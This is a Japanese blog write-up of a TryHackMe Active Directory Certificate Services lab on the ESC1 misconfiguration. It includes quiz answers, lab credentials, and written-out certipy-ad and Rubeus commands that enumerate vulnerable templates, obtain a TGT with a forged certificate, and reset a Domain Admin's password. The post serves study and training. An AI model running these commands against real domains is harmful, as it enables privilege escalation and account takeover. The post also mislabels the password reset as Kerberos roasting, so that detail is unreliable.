2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

誤った設定によるActive Directory証明書の悪用について(ESC1) by TryHackMe AD Certificate Templates

2
Last updated at Posted at 2026-06-08

はじめに

この記事は、いつも出しているTryHackMeのwriteupではなく、AD Certificate Templates Walkthroughというルームを題材にしたActive Directory証明書テンプレートの悪用方法(ESC1)がどういったものなのかを、実際に紹介した記事です。

ここでは、実際のルームの概要に触れるだけでなく、実際に証明書テンプレートを悪用するプロセスやESC1以外にもどのような権限昇格を引き起こすのかについても軽く触れています。

ルームの概要について

まず、このルームの概要について説明します。これは、Active Directory 証明書サービス(Active Directory Certificate Service)、および証明書テンプレートに見られる典型的な誤った設定 (ESC1) による権限昇格をハンズオン形式で学習できるWalkthroughです。

用語解説

  • Active Directory 証明書サービス(Active Directory Certificate Service)

  • Walkthorough: 「手順を順を追って確認する」「実地で検証する」「通り抜ける」という意味を持つ英単語です。ここでは、攻撃手法を順序を追って説明しているものになっています

 
それでは、具体的に紹介します。

ぜひ、ルームの解きながら、進めてみてください

Walkthrough

Task 1 Introduction

対象マシンをスタートするだけです。

以下は資格情報なので、大事にしましょう。

Username: thm

Password: Password1@

Domain: lunar.eruca.com

Task 2 A brief look at certificate templates

仕組みを知って、設問に答えるだけです。

Read the above
Answer: No answer needed

What does the user create to ask the CA for a certificate?
Answer: Certificate Signing Request

What is the name of Microsoft's PKI implementation?
Answer: Active Directory Certificate Services

Task 3 Certificate template enumeration

Active Directory 証明書サービス(AD CS)のテンプレートにおいて、以下のような証明書テンプレートの使用が許可されている場合、他のアカウントに横展開される可能性があります。

  • 適切な権限やクライアント認証するためのテンプレート、またはそのような権限を持つアカウントを持っているテンプレート

  • クライアント認証を可能にするKerberos認証で使用されるテンプレート

  • SSLサーバー証明書に含まれる情報であるSubject Alternative Nameフィールド (サフジェクトの別名) を変更できるテンプレート

簡単な攻撃フローですが、こんな感じです。

Low Privilege User
 │
 ▼
任意の悪意のある証明書を登録する(ESC1)
 │
 ▼
その証明書を利用し、リクエストする
 │
 ▼
実際に証明書をKerberos認証する
 │
 ▼
Domain Adminに到達

あとは、設問に答えるだけです。

What AD group will allow all AD user accounts to request a certificate?
Answer: Domain Users

What AD group will allow all domain-joined computers to request a certificate?
Answer: Domain Computers

Which EKU allows us to use the generated certificate for Kerberos authentication?
Answer: Client Authentication

また、最後の設問は、certipy-adというAD CSに対して、攻撃や列挙を行うツールキットを使用し、調査します。

┌──(rikuxx㉿kali)-[~/tryhackme/AD_Certificate_Templates]
└─$ certipy-ad find -u 'thm@lunar.eruca.com' -p Password1\@ -dc-ip [target_ip] -vulnerable -enabled   
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 17 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'lunar-LUNDC-CA' via RRP
[*] Successfully retrieved CA configuration for 'lunar-LUNDC-CA'
[*] Checking web enrollment for CA 'lunar-LUNDC-CA' @ 'LUNDC.lunar.eruca.com'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260607030526_Certipy.txt'
[*] Wrote text output to '20260607030526_Certipy.txt'
[*] Saving JSON output to '20260607030526_Certipy.json'
[*] Wrote JSON output to '20260607030526_Certipy.json'

20260607030526_Certipy.txtを閲覧すると、どの証明書テンプレートに対して、脆弱性があるのかがわかります。

Which certificate template is misconfigured based on the three provided parameters?
Answer: [ ** VULNERABLE_TEMPLATE_NAME ** ]

参考文献

Task 4 Generating a malicious certificate

このタスクでは、説明通りに進めていきます。このタスクでは、先ほどのSSLサーバー証明書に含まれる情報であるSubject Alternative Nameフィールド (サフジェクトの別名) を変更できるテンプレートを利用し、攻撃者が権限昇格するための証明書を発行しています。

実際の手順については、ルームを参考にしてください。

あとは、設問に答えるだけです。

In which field do we inject the User Principal Name of the account we want to impersonate?
Answer: Subject Alternative Name

If we had administrative access, when adding the snap-in, which option would we select to use the machine account of the host instead of our authenticated AD account for certificate generation?
Answer: Computer account

Follow the steps above and generate your very own privilege escalation certificate
Answer: No answer needed

Task 5 User impersonation through a certificate

このタスクでは、実際に取得した証明書を用いて、RubeusというActive Directory環境におけるKerberos認証情報を操作したり、特権昇格や水平展開のための攻撃ツールを用いて、AS-Request後、TGTを発行します。また、SPNに紐づくTGSを要求するようなKerberos Roasting攻撃も行うことができます。

 
前提として、Rubeus.exeが対象マシンに送り込まれている場合、実際には、Windows環境で以下のコマンドを実行します。

Rubeus.exe asktgt /user:svc.gitlab /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:lunar.eruca.com /dc:<IP of domain controller>

そして、TGTを取得後、任意のアカウントに対して、Kerberos Roasting攻撃を行います。ここでは、横展開するために新たなパスワードを変更します。

Rubeus.exe changepw /ticket:<path to ticket file> /new:<new password for user> /dc:LUNDC.lunar.eruca.com /targetuser:lunar.eruca.com\<username of targeted DA>

そして、変更後、実際にシェルを実行します。

runas /user:lunar.eruca.com\<username of DA> cmd.exe

すると、侵害したアカウントに対して、横展開することができます。

あとは、タスク通りに進めて、フラグを見つけるだけです。

What is the value of the flag stored on the Administrator's Desktop?
Answer: THM{XXXXXXXXXXXXXXXXXXXXXXXXXX}

Task 6 Mitigations and Fixes

読むだけです。

Read the above
Answer: No answer needed

Task 7 Conclusion

終わりです。

Read the above
Answer: No answer needed

Active Directory Certificate Serviceを利用した権限昇格について

先ほど紹介した権限昇格については、ESC1というAD CSに数ある中の権限昇格の一つです。全部で8つまであります。

以下では、ESC1~ESC8までの攻撃フローが紹介されています。

他に日本語で解説されたものについては、ESC8しか今のところはないようです。

また、ESC1については過去にNECさんのブログでも取り上げられたようです。具体的に攻撃フローを知りたい方はぜひ、見てみることを推奨します。

権限昇格のチートシートについて

以下では、Active Directory Certificate Serviceを利用した、具体的な権限昇格のチートシートが載せられています。

また、以下では、簡易的なチートシートも載せられています。

ただ、自分には一つ前のようなハンズオンがないと、よく使い方がわからない気持ちになったので、OSEPやCPTS、CAPEなどのWindows Active Directoryにおける高度な攻撃手法を学べる資格で、チートシートが必要な時に役立つかもしれません。

終わり

今回は、Active Directory証明書テンプレートの悪用方法(ESC1)がどういったものなのかを解説し、整理しました。

Walkthroghであるものの、割とOSEPで出てくるような内容って日本語で簡単に書いてあることがなかったので、わかりやすい例として挙げやすかったルームだったので、書きました。

あと、自分が割とこの辺がイマイチわかってないこともあり、自分の勉強のためにも書きました。

(学生だから、そもそもOffSec系の資格、HTBの資格が高すぎて、資格を受ける勇気が出にくい)

 
ご参考になると幸いです。

参考文献

また、この記事を作成するにあたって、以下のwriteupも参考にしました。

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?